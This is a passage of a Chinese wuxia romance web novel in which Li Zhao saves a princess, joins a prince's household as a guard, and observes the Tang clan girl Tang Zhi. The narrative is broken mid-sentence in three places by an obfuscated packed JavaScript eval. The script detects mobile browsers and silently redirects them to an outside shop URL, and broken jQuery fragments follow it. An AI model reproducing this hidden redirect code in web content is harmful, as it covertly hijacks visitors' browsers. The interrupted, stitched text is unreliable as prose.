她从来没有这般亲近过他。
她拿脑袋蹭了蹭他的肩膀,声音含混不清地抱怨道:“我送你的剑穗呢?你怎么不用?”
慕怜舟垂眸看着几乎挂在自己身上的姑娘,难得放缓了声音,一本正经地纠正:“你送的是斗篷,不是剑穗。”
那件墨色斗篷丑是丑了点,但他仔细收着,从未舍得轻易穿用。
当然,如果她硬要再送他一枚剑穗的话,他也可以勉为其难收下。虽然他不怎么用剑,但问题不大,无涯谷藏有很多剑谱,凭他的天赋,现学也来得及。
然而,靠在他肩头的少女却用力摇了摇头,发丝蹭过他的下颌,带来磨人的痒意。
她仰起脸,眼神迷蒙地望着他,是醉鬼特有的认死理:“不对不对,我送你的就是同心结剑穗呀。”
“你怎么能忘了呢,沈师兄。”
“沈师兄”三个字猝然打破了所有的暧昧与悸动。
冬日的冷风灌入衣襟,他垂下眼紧紧盯着黎昭,决定再给她一次机会:“你叫我什么?”
黎昭毫无所觉,反而因他的反应弯起眼睛笑起来,愈发亲昵地往他臂弯里蹭了蹭,语气甜软:“沈师兄啊......沈云峥。”
沈云峥。
慕怜舟咀嚼着这个名字,一声极轻的嗤笑自唇边逸出,满是嘲讽。
心口像是被雪埋了,一片荒芜的冷。
原来那些曾在他耳畔说过的言语,那些无涯谷中朝夕相伴的点点滴滴,都不过是她哄人的把戏。
她从未喜欢过他。
心底的戾气一点点攀升,心口处隐隐传来密密麻麻的刺痛。
黎昭全部的注意力都集中在感知屋外的动静上,生怕方才的打斗惊动守
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16592494|187415||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
在外面的小厮。
确认并无异样后,她略松一口气,这才看向被自己用刀制住的萧怀翊。
他生了一双极好看的眼睛,即便不笑时,也仿佛藏着万千情绪。
生气、愤怒、不甘……还有一丝极浅淡的委屈。
委屈?
黎昭怀疑是自己看错了。
她与这人素昧平生,今夜不过是误打误撞,纵然眼下她持刃相向,那也是形势所迫。可他这眼神,怎么倒像是她曾对他做过什么负心薄幸之事一般。
萧怀翊的面色肉眼可见地苍白下去。
黎昭不自觉蹙眉,心下莫名泛起异样。
下一刻,只见面前人呼吸猝然急促起来,原本强撑的身体突然脱力,直直向前倒来。
沉甸甸的重量毫无预兆地压上肩头,清冽酒气之下,黎昭隐约嗅到一缕若有似无的甘松香。
淡淡的,并不难闻。
黎昭睁圆了眼睛:“喂,你……”
天地良心,她可什么都没干,这人怎么胡乱碰瓷。
很快她便察觉不对,伏在她肩头的人正微微抽搐着。
黎昭连忙扶起萧怀翊,见他额头上冷汗涔涔,唇色发绀,摸上他的脉象只觉虚浮无力,是和慕怜舟一样的心脉衰竭之兆。
他也有心疾吗?
黎昭顾不得许多,几乎是本能地运转起内力,温厚平和的内息顺着她的掌心缓缓渡入萧怀翊的心脉要穴。
萧怀翊的气息依旧微弱。
没了寒玉髓的辅助,渡去的内力宛若杯水车薪,收效甚微。
情急之下,黎昭忽然记起在无涯谷时,曾在一卷医道古籍上见过一种应急之法。书中记载,若遇心脉骤停气若游丝者,可以精纯内力辅以“以口渡气”之术,或能强行激发一线生机。
眼下似乎别无他法。
事急从权,也顾不得什么男女大防了。
她深吸一口气,俯下身,一手轻捏开萧怀翊的下颌,另一只手持续护住他的心脉,然后缓缓凑近。
温热的呼吸几近交融,两唇即将相贴的一刹,或许是渡入的内力起了效果,萧怀翊浓密的睫毛颤了颤,悠悠转醒。
初醒的眼眸里尚还有几分涣散,却在下一刻骤然聚焦。
映入眼帘的,是黎昭赫然放大的清丽容颜。
萧怀翊浑身一僵,意识到即将要发生什么后,猛地偏过头去,动作快得几乎有些慌乱。
轻柔如羽的唇,带着微凉的湿意,堪堪擦过他的脸颊。
黎昭迅速反应过来,马上弹开。
四目相对,一时间,两人都陷入了尴尬的沉默。
耳根渐渐染上一抹不易察觉的薄红,萧怀翊怒瞪着黎昭,质问道:“你在做什么。”
“当然是救你啊。”黎昭理直气壮地回答。
她觉得这人多少有点不识好歹。
“你知不知道自己患有心疾,这个病发作起来是真的会死人的。要不是看你刚刚命悬一线,我才懒得费这个劲。”
萧怀翊一时语塞。
他当然知道自己有心疾,自打从这具身体里醒来,不知道是什么原因,原来慕怜舟身上的病症也一并跟了过来,但好在症状远比起前世要轻许多,平日里好生调养,尚有痊愈的可能,只是没料到今夜会发作的这般突然。
黎昭抱臂而立,不经意扫过萧怀翊泛红的耳尖,奇道:“我都不介意,你个大老爷们扭扭捏捏的怕什么?又没真亲上。”
这句话简直是往火堆里又添了一把柴。
不介意?是不是换作任何一个人倒在她面前,她都会如此?
萧怀翊冷笑一声,心里那股无名火烧得又旺又憋屈,出口的话不免尖酸:“姑娘救人的方式可真是别出心裁。莫不是今夜这一出原本就是刻意为之,果然江湖女子的手段比那些闺阁小姐的扭捏作态有趣多了。”
他语带讥诮:“只可惜,本王对主动投怀送抱的女人,一向没什么兴趣。”
神经病吧他?还真拿自己当盘菜了?
竟把她一片好心污蔑成蓄意轻薄,早知如此,刚才真该让他自生自灭算了。
她清了清嗓子,正欲反唇相讥,门外却忽然传来一阵骚动。
急促的脚步声由远及近,藏锋破门而入。
萧怀翊眼疾手快地抬手,袖风一扫,床幔应声垂落,将黎昭严严实实地遮在里面。
藏锋脸色煞白:“王爷,不好了,郡主她、她被贼人挟持了!好像还有一位唐门的小姐也受了重伤。”
萧怀翊猛然抬眼,声音沉下:“你说什么?”
幔帐之后,黎昭同样难以置信地睁大了双眼。
他说什么?
4. 留在王府
宴席上早已乱作一团,女眷们惊慌四散,一片狼藉。
院子中央,护卫们手持兵刃却不敢上前,只远远围成一个松散的圈。
圈子内,一名黑衣人挟持着萧云禾,锋利的白刃抵在她莹润如玉的脖颈上,隐隐渗出一丝殷红。
萧云禾脸色惨白,身体止不住发抖,却还试图保持一丝镇定。
“你要什么?”她的声音带着强压的颤音,却清晰异常,“金银还是珍宝?只要你放了我,王府库藏任你取用,足以保你一世富贵荣华。”
黑衣刺客的动作顿了一下,似乎没想到这位郡主竟那么配合,他压低声音开口:“我要振......”
就在这时,一颗包裹着凌厉劲气的石子破空而出,打在刺客持刀手腕上的麻筋之上。
那人吃痛,握刀的手失去力道,匕首“当啷”一声掉落在地上。
黎昭掷出石子的同时,人已飘然落地,没有丝毫迟滞,腰间的孤影刀已然出鞘,清越的刀鸣划破夜空,直取那刺客的臂膀。
“噗”地一声,黑衣男子的手臂被刀锋划开一道深可见骨的血口,剧痛让他本能地松开了对萧云禾的钳制,猛地向后急退数步。
萧云禾骤然失去支撑,双腿一软,眼看着就要瘫倒在地。
黎昭眼疾手快,伸手搀住了她。
“你没事吧?”
萧云禾惊魂未定,勉强摇了摇头,哑声道:“多谢。”
随后,她眼风凌厉地扫过那些犹在发愣的护卫,厉声呵斥道:“都杵着作甚?”
“拿下!”护卫们这才如梦初醒,刀枪并举地扑了上去。
那刺客捂着鲜血淋漓的手臂,阴鸷地盯了黎昭一眼。
眼见护卫合围,他猛地向人少的一侧滚去,接连撞翻两个护卫后,几个起落便融入了茫茫夜色。
萧怀翊赶到的时候,看到的便是这样一副景象。
他那个便宜妹妹萧云禾正紧紧依偎着一个面容清丽的女子,那人立在光影交错处,朱颜姝色,挺拔的背影如崖畔孤松,眼尾微扬,像淬了霜的利刃。
是黎昭。
萧怀翊太阳穴突突直跳。她非但没走,竟还闯到了这里救人。
他敛住心神,垂眸时瞥见萧云禾搭在黎昭腰间的手,眸色不由得一沉。
“云禾。”萧怀翊稳步上前,不动声色地侧身,袖袍微抬,虚扶了一下萧云禾的肩,恰好隔开了她与黎昭的接触。
“可有大碍?”
萧云禾见兄长来了,紧绷的神经终于松懈几分,听到他关切的话语,心头一暖。
虽然哥哥平日里没个正形,但真到了危机时刻还是很关心她的。
她松开黎昭,摇头道:“我没事,多亏这位姑娘出手相救。”
“哦?”萧怀翊拖长了调子,仿佛刚注意到这还有个人似的,目光停在黎昭身上。
黎昭心虚地偏过头。
好在萧怀翊并未多说什么。
侍卫急促的脚步声碾碎了庭院里微妙的沉寂。
“启禀郡主,我们在侧院发现了一名受伤昏倒的女子,看腰牌像是唐门的小姐。”
萧云禾两眼一黑,想起来自己早知自家兄长臭名在外,唯恐前来赴宴的贵女寥寥,索性广发请柬,连素无往来的江湖门派也在受邀之列。
谁曾想今天来了这么多人,还都是蜀中有头有脸的门第,若真有人在她这儿出了岔子,王府的脸面往哪儿搁?
况且听闻江湖门派最重恩怨,若因此结下梁子……
“还不快带路!”
她不敢再想,只盼事情还有转圜的余地。
一行人匆匆穿过曲折的回廊,来到王府西侧一处僻静的院落。
远远地,萧云禾就看到地上一个人影倒在血泊中,左肩处的衣衫已被鲜血染透。
她心下一慌,待要上前查看,却不想身边已有人先行一步。
黎昭蹲下身,两指轻搭在唐芷腕间,感受到指下微弱的跳动后,不由松了口气。
幸好唐芷没死,不然好不容易查到的线索又断了。
“脉相虽弱但还算平稳,应当没有大碍。”她抬头时已恢复平静,小心拨开唐芷肩头被血黏住的衣料一角,看了一眼伤势道:“只是受了惊吓昏过去,肩上的伤看着骇人,但未伤及筋骨。”
萧云禾悬着的心这才落回实处,立即侧身吩咐下人道:“快先将唐姑娘安顿至听雨轩,再找几个手脚麻利的婆子好生伺候着。对了,记得把府里最好的金疮药送去。”
等安排好一切,再转向黎昭时,她的脸上已勉强挤出几分温和的笑意:“此处杂乱,实在不是说话的地方。姑娘若不嫌弃,还请移步前厅一叙,容我略尽地主之谊,聊表谢意。”
黎昭盯着地上残留的血迹出神,没注意萧云禾说了什么,只随意应了一声。
这一幕恰好落在萧怀翊的眼中,他发觉黎昭有些心不在焉。
她似乎对唐门的人格外关心?莫非此行入蜀,是与唐门有关?
一丝探究的欲望刚冒出苗头,便被他冷着脸强行摁了下去。
萧怀翊垂眸,长睫在眼下投下一小片阴影。
唇角浮起一抹讥诮。
他与黎昭今生已再无瓜葛,她关心谁,调查什么,这些都与他毫无关系。
他又何必在意。
*
前厅陈设雅致,熏着淡淡的安神香。
萧云禾命人奉上今年新得的峨眉雪芽,氤氲的雾气稍稍驱散了今晚的惊惶。
她亲自为黎昭斟了一杯,声音温润却郑重:“今日多亏了姑娘及时出手,否则后果真是不堪设想。救命之恩,云禾铭记于心。”
说罢,她似是想起什么,眼神中流露出一丝懊恼,“方才情急,竟未曾请教姑娘芳名,实在失礼。”
“黎昭。”
茶雾氤氲间,黎昭的声音如清泉落玉,虽不热络,却也并非疏离。
她抬手接过茶盏,却未急着饮,而是礼貌客气地回道:“郡主言重了,不过是举手之劳,谈不上恩情。”
“原来是黎姑娘!”萧云禾眼中多了几分亲近,心下快速思索着今日宴席上是否有受邀的黎姓宾客,一时却无头绪。
“黎姑娘口音不似蜀中人?不知府上是……”
“我并非今日受邀的宾客。”她顿了顿,似是在斟酌言辞,“只是恰好路过府外,察觉异动,便进来看看。”
一旁的萧怀翊闻言,抬眸扫了黎昭一眼,言语间夹了几分讽刺,“黎姑娘倒是好眼力,隔着高墙都能察觉府内异动。”
黎昭眼睫微垂,面不改色:“习武之人,耳力总是要较常人敏锐些。”
她笃定萧怀翊不会拆穿她,若真要揭破,早在方才便可发难,何必等到现在。
况且,江湖上追杀她的势力多的是,就算再添一个南安王府也并无多大区别。
反正大不了就跑嘛,左右这王府也拦不住她。
萧怀翊轻哼一声,终究没有再言语,默许了她这套说辞。
萧云禾察觉到两人之间微妙的气氛,先是瞪了萧怀翊一眼,继而转头对黎昭柔声道:“黎姑娘莫要见怪,他平日里素来这般,不必理会他。”
方才领命去搜查刺客踪迹的侍卫统领疾步入内,脸色发白。
“禀郡主,属下带人仔细搜查了王府内外,包括西侧院及周边所有角落……并未发现任何刺客踪迹!”
“砰”地一声,萧云禾将手中茶盏猛地砸在桌案上,几滴茶水溅出。
“一群废物!”
她霍然起身,声音拔高,眼中没了方才同黎昭讲话时的和气,“养你们这些年,倒养出帮睁眼瞎来。那么大个活
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16592495|187415||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
人,带着伤,流着血,难道还能插翅膀飞了不成?”
侍卫统领额头渗出细密汗珠,连声请罪,“郡主息怒!属下无能!”
萧云禾越想越气,指着他们厉声斥骂:“偌大一个王府,如今漏得像个破竹筛子,什么阿猫阿狗都能随意进出!”
“我南安王府的脸面,今日算是丢尽了!养兵千日,用兵一时,你们倒好,关键时刻全是饭桶!”
侍卫统领头埋地更低,大气都不敢出
厅内一片死寂。
黎昭眼观鼻,鼻观心,专注地盯着眼前的茶汤上,仿佛要将所有的注意力都凝聚在杯中那几片浮沉的茶叶上。
怎么感觉自己方才也一并被骂了呢。
不过这南安王府的守卫确实太过松散了。
眼见厅内气氛僵持,黎昭索性好人做到底,送佛送到西:“刺客能潜入王府重地,又能在负伤后全身而退,不留丝毫踪迹,足见其手段高明。眼下当务之急,还是应当加强王府布防才是。”
她这番话,成功将萧云禾的注意力从斥责侍卫的怒火中暂时拉了回来,萧云禾深以为然地点点头,略微思索了一番便叫来府中管家。
“李叔,你明日再去招募一批护卫,身手必须过硬。切记,首要的是本事,不拘银钱,月俸不是问题,但务必是能顶事的真把式。”
“是!老奴明白!这就去安排。”管家连忙躬身应下。
不拘银钱......月俸不是问题......
黎昭心头一动,她正愁盘缠用尽,这倒是个机会。
更重要的是,唐芷眼下就在王府。
“那个......”轻柔的声音突兀地响起。
厅内几人齐齐望向她。
黎昭坦然迎上中人目光,不卑不亢道:“郡主既已决意重整护卫,在下不才,略通拳脚,倒不妨考虑下我。”
“当真?”
“不行。”
萧云禾还未来得及惊喜,便被萧怀翊不容拒绝的声音浇了盆冷水。
“哥?”萧云禾彻底懵了,不解地看着他。
“为什么不行?黎姑娘的本事你都看到了。”
萧怀翊眸光微沉,语气疏淡,却字字清晰锋利:“她来历不明,底细不清,贸然留在王府近身护卫,终是不妥。”
萧云禾皱眉反驳:“可黎姑娘方才救了我的命,若真有异心,何必多此一举?”
萧怀翊避开黎昭投来的视线。
“谁知道呢?或许另有所图也未可知。”
黎昭突然想到二人此前那场混乱的初见,一瞬间想通了其中关窍,福至心灵。
不是吧,这人该不会真的以为,她此刻借机留下,是为了接近他吧?
那这可就误会大了。
黎昭开口,声音清晰平静:“王爷多虑了,黎昭心中已有所属。”
见他抬眼看向自己,她心一横,索性顺着往下编:“他武艺高强,光风霁月,是位真正的正人君子。我们虽不常相见,但我心中唯有他一人。”
话音落下,厅内骤然陷入一片诡异的沉默。
在这片令人窒息的静谧中,唯有萧怀翊手执青瓷茶盏,用茶盖轻轻刮去茶上浮沫。
茶盖与杯盏相碰,发出一下下清脆的细响。
萧云禾没来由地感觉呼吸发紧。
奇怪,明明谁都没再说话,可这厅堂里的气氛却像是在冰窖里一样,陡然间压得人喘不过气来。
时间在寂静中缓慢流淌,每一息都显得格外漫长。
良久,萧怀翊垂着眼睫,缓缓将那杯早已凉透的茶送至唇边。
茶汤饮尽,茶盏重新落回桌案。
他站起身,神情已恢复成一贯的漫不经心。
“既是如此,那随便你们吧。”他开口,声音淡得听不出来半点情绪。
5. 唐芷
接连几日,黎昭都未曾再见过萧怀翊,自那日他丢下一句“随便”之后,这位小王爷竟当真再未来找过她的麻烦。
这对黎昭而言自然是件求之不得的好事。
这期间,关于唐芷的消息也断断续续透过府中下人的议论传入耳中。
据说唐芷第二日便醒过来了,不过状况实在堪忧,人虽睁了眼,却浑浑噩噩的,口中呓语不断,时哭时笑,像是被那夜的变故吓得失了神智。
这消息令黎昭心下难安,却苦于寻不到合适的契机去探探虚实。直到这日傍晚,萧云禾脚步匆匆寻到了她住的小院。
“黎姑娘。”
萧云禾声音微喘,连日笼罩阴霾的脸上难得流露一丝轻快:“唐芷姑娘总算无碍了。”
“昨日唐门派来的医师守了一整宿,刚刚伺候的丫鬟过来传话说,唐姑娘确确实实恢复正常了。”
黎昭抬眼看向萧云禾,状似随意地问道:“唐门派了人来?莫非是来接唐芷姑娘回去的?”
萧云禾摇了摇头:“这倒不是。那医师说了,唐姑娘如今伤势未愈,最忌颠簸。唐门又建在蜀道绝险之处,眼下实在不宜舟车劳顿,还是继续留在王府将养为好,等身子调理的差不多了,再派人来接。”
说到这里,萧云禾心里不免有些过意不去。
她本来以为像唐门这样的江湖门派在得知唐芷受伤的消息后定要兴师问罪,但谁曾想唐门非但没有怪罪,反而对王府愿意留唐芷养伤这一举动表现得感激不尽,那热络的态度像是王府施了多大恩惠一样。
这倒显得她之前的揣测太过小人之心了。
萧云禾面露同情,叹道:“唐芷姑娘平白遭此横祸,当真是可怜。我正打算待会儿去探望一番,顺便打听一下那刺客的线索,黎姑娘可要与我同去?”
黎昭还在思索该如何名正言顺地去见那位唐门小姐,闻言便顺水推舟,欣然应允道:“好。”
二人来到唐芷养伤的听雨轩。
院落幽静,伺候的丫鬟们训练有素,动作也轻手轻脚,生怕惊扰了养伤的人。
推门进去时,唐芷正呆呆地立在半开的窗前,她脸色依旧苍白,唇上淡得几乎看不见血色,单薄的身影裹在素色衣衫里,仿佛一阵风就能将她吹倒。
听到动静,她像是受惊的小鹿般猛地转头,眼神带着几分怯意,待看清来人是萧云禾时,又慌忙垂下眼帘。
萧云禾快步走进屋内,关切地问道:“唐姑娘,感觉可好些了?”
“多谢郡主挂怀。”唐芷的声音细弱蚊蚋,垂落在身侧的手指无措地绞着裙角。
“我好多了,这几日实在是给王府添麻烦了。”
萧云禾将唐芷的局促尽收眼底,秀眉微微拢起。
虽说有所好转,可眼前人这副惊弓之鸟的样子,比她预想的还要严重许多。
她伸手虚扶了一下唐芷的手臂,引她坐下,握着她的手安抚道:“能好起来就好,那夜之事着实对不住。但你放心,府里已加强了戒备,绝不会再让宵小有可乘之机,你且安心在府里养着,有什么需要,只管吩咐下人。”
唐芷绞着衣角的手蜷紧了一下,复又低低应了一声:“有劳郡主费心。”
黎昭安静地站在萧云禾身后,趁着无人注意,细细观察着唐芷。
少女始终埋着头,眼神怯怯地飘忽不定,始终不敢直视任何人,只是一味地盯着自己鞋尖上那朵颤巍巍的芙蓉花。
唐门以用毒与机关术闻名江湖,行事作风颇以狠辣果决著称,可眼前这位唐门小姐怯懦畏缩,未免与传闻中的唐门做派大相径庭。
萧云禾接过丫鬟奉上的温水,递给唐芷的同时,温言问道:“对了,唐姑娘,关于那夜行凶之人……你可还有什么印象?比如样貌或身形之类的特征?”
“哐当——”
唐芷失手打翻了水杯,水渍洇湿了她半边衣袖。
她像是被这声响惊到了,又仿佛看见了极恐怖的景象,整个人缩成一团,拼命摇着头,声音抖得不成样子,“不、不记得了。那天太黑了……我什么都不知道!”
“唐姑娘,别怕别怕。”萧云禾吓了一跳,连忙扶住她颤抖的肩膀,心中懊悔不已,“是我不好,不该问这个。”她一边柔声安抚,一遍眼神示意随侍的丫鬟。
几个丫鬟连忙上前,手忙脚乱地收拾着桌上的狼藉。
就在这略显混乱的当口,门外响起一阵脚步声。
一名约莫四十岁上下,面容精瘦中年男子提着药箱踱步而入。看到萧云禾也在,他脚步一转,向其躬身行了个礼道:“参见郡主,在下唐荣,此前奉家主之命,特来照看芷小姐的伤势。”
说罢,他目光掠过略显狼狈的唐芷,只见她整个人瑟缩着,眼神涣散惊惶,一副被彻底吓破了胆的模样。
唐荣眼中飞快掠过一丝轻蔑。
啧,果真是扶不上墙的烂泥,上不得台面。
他捻了捻胡子,一板一眼道:“芷小姐,养伤贵在静心凝神,情绪大起大落最是伤身。”
言语间乍听似是关切,细品之下却带着一种居高临下的训诫之意。
说着,他慢条斯理地从药箱中取出一个青瓷药瓶,“这是家主交代给芷小姐的息心丸,最能安神静气。”
递过去时,粗糙的手指特意在瓶身上轻叩了两下,“还望小姐好好调养,莫要辜负了门主的一片心意。”
唐芷渐渐平复下来。
她缓缓抬眼,目光落向药瓶,睫羽轻颤,迟疑片刻终是伸手接过。
唐荣见状,古版的脸上浮现出一丝满意的神色。
此行目的已达到,唐荣也无意多留。
他利落地收拾好东西便向萧云禾请辞道:“郡主,眼下芷小姐神思既已清明,此间事了,在下也可安心回去向门主复命了。”
唐荣离开后,萧云禾见唐芷受了惊吓,此刻又湿了衣袖,便让丫鬟们先伺候她更衣,随后又细细叮嘱了几句好生休息,按时吃药之类的话,这才与黎昭一同离开。
室内重回寂静。
趁着丫鬟去取衣裳的间隙,唐芷灵巧地拔开瓶口木塞。她凑近去闻,一阵奇异的香气瞬间钻入鼻腔。
初闻清甜,恍若春日幽谷中某种不为人知的异卉初绽,带着一丝令人目眩的暖意,丝丝缕缕直往人骨头缝里钻。
她猛地将药瓶拿开。
方才那双还盛满怯懦慌乱的眸子顷刻凝上一层寒霜,所有的畏缩与惊慌褪去,只余下一片洞悉一切后的冷漠。
这哪里是什么“息心丸”,分明是能将人拖入欲海沉沦的“醉生梦”。
唐芷撇撇嘴,唇角牵起轻蔑的弧度,看来那帮老不死的还做着攀上南安王府高枝的美梦呢?
*
走出听雨轩,萧云禾长叹一口气,对黎昭感慨道:“唉,都怪我太心急了。看唐姑娘那样子,当真是被那夜之事吓破了胆,竟连提都不能提。”
黎昭沉默地走着,总觉得整件事透着说不出的古怪,唐门的态度、唐芷的反应、甚至是唐芷的伤……
那日她看过唐芷的伤口,似乎与刺客所用的那把匕首的刃口弧度不太吻合。但当时到底只是匆匆一瞥,许是她看错了也未可知。
她正犹豫着要不要将心头的疑虑告诉萧云禾。
忽见身旁的人像是突然看见什么人,噔噔噔地上前追了几步。
“藏锋?”
“你给我站住!”
黎昭闻声望去,发现前方廊柱后确实有个鬼鬼祟祟的身影正猫着腰,贴着墙根走。
听到有人叫他,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16592496|187415||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
那人非但没有停下,反而像是被踩了尾巴的猫一样,脚步猛地加快,一溜烟就要往相反方向跑。
“藏锋!本郡主叫你站住,你聋了吗?”萧云禾柳眉倒竖,声音陡然拔高,显然动了怒。
藏锋一僵,顿在原地,肩膀垮了下来。
他极其不情愿地转过身,一张圆脸上满是心虚,根本不敢直视萧云禾:“郡、郡主……”
“鬼鬼祟祟地做什么?”萧云禾盯着他,想起自己似乎已经好几日没见过萧怀翊了,顺嘴问道:“这几日王爷人呢?怎么连个人影都见不着。”
藏锋眼神更加飘忽,支支吾吾道:“王爷他……”
“快说。”萧云禾见他这副样子,知道肯定没什么好事,“再吞吞吐吐,小心我让人把你绑了扔柴房饿上三天三夜。”
藏锋吓得一个激灵,哭丧着脸,心道这下是彻底瞒不住了。
“王爷……他这几日都在怡香楼……”
怡香楼是云州城最有名的风月之地。
萧云禾眼前一黑,只觉浑身血气直冲脑门。
“怡、香、楼。”萧云禾几乎是从齿缝里挤出这几个字。
“他在那种地方待了几天了?”
藏锋被她语气里的寒意慑得一颤,声音险些带上哭腔:“约莫六七天吧。”
他索性豁了出去,一股脑全交代出来。
“今早王爷身上的银子都花光了,这才打发小的回来取点。”
萧云禾气得浑身发抖。
“他好大的能耐啊?”
“堂堂王府的小王爷,成日花天酒地不说,把钱败光了还有脸让人偷偷摸摸回来取?”
萧怀翊人不在,萧云禾只能指着藏锋骂道:“你身为王爷贴身小厮,王爷不清醒你不知道劝吗,还在这助纣为虐?”
藏锋吓得“噗通”一声跪在地上,连连磕头,声音带着真切的恐惧:“郡主饶命啊!不是小的不劝。实在是王爷这几日心情不好,看谁都不顺眼,小的实在没那个胆子触这个霉头啊。”
萧云禾越想越气,心中一股邪火无处发泄:“你现在马上去怡香楼,给我把那混账东西揪回来!”
藏锋一听,脸皱得更苦,连连哀求道:“郡主可别为难小的了,王爷那脾性您又不是不知道,倔劲儿一上来,十头牛都拉不回来。要不还是劳您大驾亲自去一趟?您说话……王爷兴许还能听两句。”
萧云禾被藏锋的话堵得一口气上不来,看着跪在地上抖如筛糠的藏锋,又想起自己那个无法无天的兄长,巨大的无力感涌上心头。
她又急又怒,泪珠在眼眶里打转,声音满是失望:“他……他怎么能这样……家里出了这么大的事,唐姑娘还伤着,他倒好……跑去那种地方醉生梦死。”
她恨不能真如藏锋所说,亲自去怡香楼把那不成器的兄长揪回来,可这世道对向来女子严苛,那烟花之地她今日若是去了,明日整个云州城怕是都传得沸沸扬扬。
一想到兄长可能在那腌臜地方胡作非为,而自己竟束手无策,萧云禾一时间只觉得天旋地转,几乎站立不稳。
“郡主。”一直沉默旁观的黎昭及时上前一步,稳稳托住她的手臂。
萧云禾抬起泪眼婆娑的脸,茫然又无助地看着她。
黎昭在心底轻轻一叹。
唉,她果真还是见不得女孩子哭呀。
她看向萧云禾,语气淡然却自有一股令人安心的力量:“不必慌乱,我去便是。”
萧云禾一愣,泪珠挂在长睫上忘了落下:“黎姑娘?你……你去?”
“嗯。”黎昭点点头,神情坦然自若。
“江湖中人素来不讲究这些繁文缛节。那等地方于你身份有碍,于我却是无妨。”
“我去替郡主将王爷寻回来。”
6. 不禁撩
去往怡香楼的路上,藏锋在前头带路,时不时借着整理衣袖的由头,悄悄侧目打量身后的黎昭。
他不禁想起这几日府中侍卫们的闲谈,都说这位黎姑娘那日擒拿刺客时,那叫一个干脆利落,刀光一闪就挑断了对方的手筋,咔咔两下便卸了那人的胳膊,硬是让那凶徒疼得哭爹喊娘。
藏锋咽了咽口水,又偷瞄了一眼身后的人。
恰巧一阵微风拂过,吹乱黎昭鬓边几缕青丝。
藏锋心里忍不住暗叹,不得不说这黎姑娘生得真是出挑,眉如远山含黛,眼似秋水横波,明艳得跟从画儿里走出来似的。特别是那一身清冷爽利的气质,非但不减其艳色,反倒平添了几分英气。
他跟在王爷身边也算见惯了美人,可像黎姑娘这样美得如此有锋芒的,还是头一位。
藏锋实在很难把眼前的人与侍卫们口中的人联系在一起。
他心里升起一丝渺茫的希望,这样好看的姑娘……脾气应当也不会太差吧。
他脚步不由慢下来,硬着头皮,小心翼翼地凑近黎昭,脸上堆起讨好的笑容:“黎姑娘,小的斗胆,想跟您求个情。”
黎昭看了他一眼:“怎么了?”
藏锋不好意思地搓搓手,言辞间带上了十万分的恳切:“就是......待会儿见着王爷,您能不能手下留情,尽量别动手啊。”
他一边说,一边紧张地观察着黎昭的神色。
见对方只是眉梢一挑,并未马上拒绝,藏锋胆子稍壮,竹筒倒豆子般急急说道:“王爷他身子骨其实虚得很,虽说是从小锦衣玉食养大的,但底子弱,风吹不得雨淋不得,加上他半点武功也不会,就是个手无缚鸡之力的文弱公子。您那两下子,小的真怕王爷他遭不住啊!”
黎昭神情逐渐变得古怪起来,“你是说……萧怀翊他不会武功?”
这怎么可能呢?
那个一招便扣住她脉门,卸去她所有反击力道的人怎会是个手无缚鸡之力之人?
藏锋被她问得一愣,随即点头如捣蒜,“是啊是啊,千真万确。”
“想必黎姑娘也听说了,王爷之前可是痴傻了整整二十年呢,这才清醒不到一载,莫说习武,便是调理底子都尚且来不及。”
黎昭沉默了。
她回忆起萧怀翊当时心疾突然发作时的凶险情状,藏锋的话倒也不似完全作伪。
见黎昭一直再未开口,藏锋心里七上八下的,以为她不信,急得又要赌咒发誓:“黎姑娘!小的说的若有半句虚言,那就让我天打五雷……”
“嗯,我知道了。”黎昭打断他,脸上的困惑已悉数敛去。
她不再追问。
每个人身上都有秘密,至于萧怀翊是深藏不露,还是真如传闻所说是个混世纨绔,那也都是南安王府的事,与她此行的目的无关。
她不是来探查王府秘辛的,更无意去挖掘这位小王爷的底细。
只要不碍着她的正事,萧怀翊愿意装傻充愣也好花天酒地也罢,都与她无甚干系。
她才懒得管。
转过街角,莺声燕语混着酒香脂粉气扑面而来。
目之所及,一座灯火通明的三层高楼矗立在眼前,门口站着几个花枝招展的女子,正娇笑着招揽过往的行人,才刚入夜,这里的喧嚣已然鼎沸。
藏锋缩了缩脖子,指着那热闹的门庭,声音发虚:“黎姑娘,就是这儿了。”
前脚刚踏入大堂,他们便与几个醉醺醺公子哥撞了个正着,其中一人斜眼觑见黎昭,浑浊的眼睛顿时瞪得溜圆,嬉皮笑脸地拦住去路:“哟,这是哪家的小娘子走错地儿了?”
黎昭连眼风都没扫过去,“好狗不挡道,让开。”
